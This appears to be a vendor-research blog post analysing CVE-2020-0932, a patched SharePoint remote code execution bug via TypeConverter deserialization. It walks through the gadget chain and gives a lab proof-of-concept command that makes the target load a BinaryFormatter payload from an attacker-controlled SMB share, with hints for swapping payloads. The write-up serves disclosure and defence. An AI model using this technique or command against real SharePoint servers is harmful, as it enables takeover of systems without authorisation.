CVE-2020-0932: Remote Code Execution on Microsoft SharePoint Using TypeConverters
April 29, 2020 | The ZDI Research TeamIn April 2020, Microsoft released four Critical and two Important-rated patches to fix remote code execution bugs in Microsoft SharePoint. All these are deserialization bugs. Two came through the ZDI program from an anonymous researcher: CVE-2020-0931 and CVE-2020-0932. This blog looks at that last CVE, also known as ZDI-20-468, in greater detail. Let’s start by taking a look at the bug in action.
Overview
This vulnerability allows authenticated users to execute arbitrary code on a SharePoint server. The code will execute in the context of the service account of the SharePoint web application. For a successful attack, the attacker must have the “Add or Customize Pages” permission on a SharePoint site or at least on one page on the site. However, the default configuration of SharePoint allows any authenticated user to create their own site with all the necessary permissions.
The Vulnerability
The vulnerability exists because SharePoint does not restrict available Types for properties when it parses the XML configuration of WebParts. For a property, an attacker may specify a string and a type name, and SharePoint will attempt to convert the string using a TypeConverter
corresponding to the specified type. Some TypeConverters present in the SharePoint libraries can be used for arbitrary code execution.
The entry point for this attack is the WebPartPages web service found at:
http://<Site>/_vti_bin/WebPartPages.asmx
Within the implementation of this web service there are several methods that deal with parsing XML WebParts configuration, one of which is RenderWebPartForEdit
. Note that RenderWebPartForEdit is exposed as a WebMethod
, so that it can be invoked via an HTTP request:
The next method, webPartImporter.CreateWebPart()
, is quite complicated, as it implements parsers for 2 different versions of XML configurations, namely WebPart/v2 (.dwp) files and WebPart/v3 (.webpart) files. Our focus is on the parser for .webpart files. Also, a large portion of the code in this method is dedicated to Type resolution and to validation of the WebPart itself. However, this is not relevant to this attack and is not detailed here.
Our XML payload will be passed along to ImportWebPartBase()
.
This means all property
elements will be processed by ImportWebPartFile.AddToProperyArrayLists()
:
At this point, we control two crucial strings: text
and xmlAttributeValue2
. text
comes from the textual contents of the property
element, while xmlAttributeValue2
comes from the element’s type
attribute. The code shown above chooses a .NET Type
on the basis of xmlAttributeValue2
, and then uses the TypeConverter
of that Type
to convert text
into a .NET object instance (propValue
).
We must now investigate what types are available.
Since there is no restriction, we can use any Type we want.
Choosing a TypeConverter for RCE
To gain arbitrary code execution, we will use the type System.Resources.ResXFileRef
and its TypeConverter
, System.Resources.ResXFileRef.Converter
:
This shows that System.Resources.ResXFileRef.Converter
will take the string we specify (value
) and parse out two pieces of data. The first, shown here as array[0]
, will be interpreted as a path to a .resources
resource file. The second, array[1]
, will be interpreted as the name of an arbitrary .NET Type
. The code shown above will instantiate the specified Type
, passing a single argument to the constructor. That argument will be a stream containing the contents of the .resources
file we specify. Since we are able to specify a remote path to an attacker-controlled SMB server, we have complete control over the stream contents.
Choosing a Type We Can Instantiate With a Stream Argument
The final challenge is to identify an available .NET type that has a constructor with a single argument of type Stream
, and that can be used for arbitrary code execution. One possible solution is System.Resources.ResourceSet:
Here, we are only interested in two lines: the first and the last. The first line calls the constructor of System.Resources.ResourceReader
:
This is very promising, since it is taking the contents of the Stream
and feeding it to a BinaryFormatter
. This could easily lead to arbitrary object deserialization.
Looking back at the last line of the System.Resources.ResourceSet
constructor, and following the path of code execution down several levels of calls:
This shows that the server will deserialize untrusted data, which allows us to execute arbitrary code.
Generating a .resources File
To conduct this attack, we need a compiled .resources
resource file containing our payload. We can use Visual Studio to create the needed .resources
file. At compile time, Visual Studio uses the Resource File Generator (Resgen.exe) to convert a .resx
file to a binary resource (.resources
) file. To inject our payload, we can edit the .resx
file and replace the existing data
node with the following:
Now we can save the *.resx
file and compile the current project. Visual Studio will place the compiled *.resources
file in the /obj
folder.
Proof of Concept
To demonstrate this exploit, we will use Microsoft SharePoint Server 2019 installed with all default options on a Windows Server 2019 Datacenter server. We have set the computer name as sp2019.contoso.lab and made it a member of the contoso.lab domain. The domain controller is on a separate virtual machine. We added a couple of users, including user2 as a regular unprivileged user.
For the attacker system, we’ll need any supported web browser. In the following screenshots, we are using Mozilla Firefox 69.0.3. We’ll also be using our custom SP_soap_RCE_PoC.exe
application to send the attack. You can download all the necessary files to try this yourself here. For different BinaryFormatter
payloads, you will need YSoSerial.Net. For this demonstration, the hardcoded payload in our PoC will suffice.
The next step is to set up a remote SMB server controlled by the attacker. This can be any machine that can receive traffic from the target SharePoint server. On this server, you will need to configure a shared folder that requires no authentication. This can be a bit tricky, but the steps to do this are detailed here. For our demonstration, we’re using Windows Server 2016 Standard with an IP address of 192.168.50.210. In addition to the steps already listed to share a folder, we added Everyone, Guest, and ANONYMOUS LOGON in the Security tab of the shared folder.
Astute readers might wonder why the SharePoint server consents to accessing an anonymous SMB share. For security reasons, the Windows SMB client normally does not permit such an operation. This is a mitigation introduced starting with version 1709 of Windows 10 and Windows Server 2016. The answer is that, for some reason, the SharePoint installer turns this mitigation off via a registry entry. In the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters
, it sets the value AllowInsecureGuestAuth
to 1
.
With the folder created and configured, we can place the payload for BinaryFormatter in that location and proceed with the attack. For this demonstration, we’ve named it SP_soap_RCE_PoC.RCE_Resource.resources
.
Let’s begin by visiting our SharePoint Server and authenticating as a regular user. In this case it is user2:
Now we are logged in as an authenticated user:
Next, we create our own site so that we will be the owner and will have all permissions. Note, if an attacker is not able to create their own site, they can still try all existing sites and pages in an attempt to find at least one where they have “Add or Customize” Pages permissions.
Click on “SharePoint” on the top panel:
Now click “+ Create site” link:
For this demonstration, we choose Team Site, but it does not matter. Now we need to pick a name for the new site. In this case, we use siteofuser2.
Also, we will need the BaseURL of the new site. We can see it on the form shown below, above the green “Available” label. In this example, it is http://sp2019/sites/siteofuser2
:
Click “Finish”, and the new site will be created:
Now let’s go to the target SharePoint server and open the C:\windows\temp
folder.
We note there is no Vuln_Server.txt
file yet. If successful, our PoC will create this file. Next, we confirm our SP_soap_RCE_PoC.RCE_Resource.resources
file exists on the attacker-controlled SMB server:
Now let’s go back to the “attacker” machine. We will use our custom SP_soap_RCE_PoC.exe
executable for the attack. We need to provide the following information as arguments:
-- BaseUrl of the target SharePoint Site. In this demonstration, it is http://sp2019/sites/siteofuser2/
-- UserName – In our case, this is user2
-- Password
-- Domain
-- Remote Path to our payload file.
The command ends up looking like this:
SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources
SharePoint does report an error that an unsafe type was specified, but the attack is successful anyway. We can check the Temp
folder on the target server:
This shows how an attacker is able to execute arbitrary OS commands and compromise the entire server. To execute other commands, you would need to generate your own *.resource
file. This can be done by opening the RCE_Resource.resx
file in any text editor and replacing the base64 BinaryFormatter
payload with the desired one:
You can then save the file, open the project in Visual Studio and rebuild it. The SP_soap_RCE_PoC.RCE_Resource.resources
file with the new payload will be in the \SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\
folder.
Conclusion
According to Microsoft, this vulnerability was fixed by “correcting how SharePoint checks the source markup of application packages.” Interestingly, all six SharePoint bugs – including the Important-rated bugs – have the exact same write-up. There’s no indication from the vendor why some of these bugs are rated Important while others are rated Critical. Because of this, we recommend you treat all of the bugs as Critical. SharePoint bugs have proven to be popular with attackers in the past. In 2019, CVE-2019-0604 ended up being used extensively in the wild. Time will tell if this bug proves as popular with criminals online.
We’ll be back with other great submissions in the future. Until then, follow the team for the latest in exploit techniques and security patches.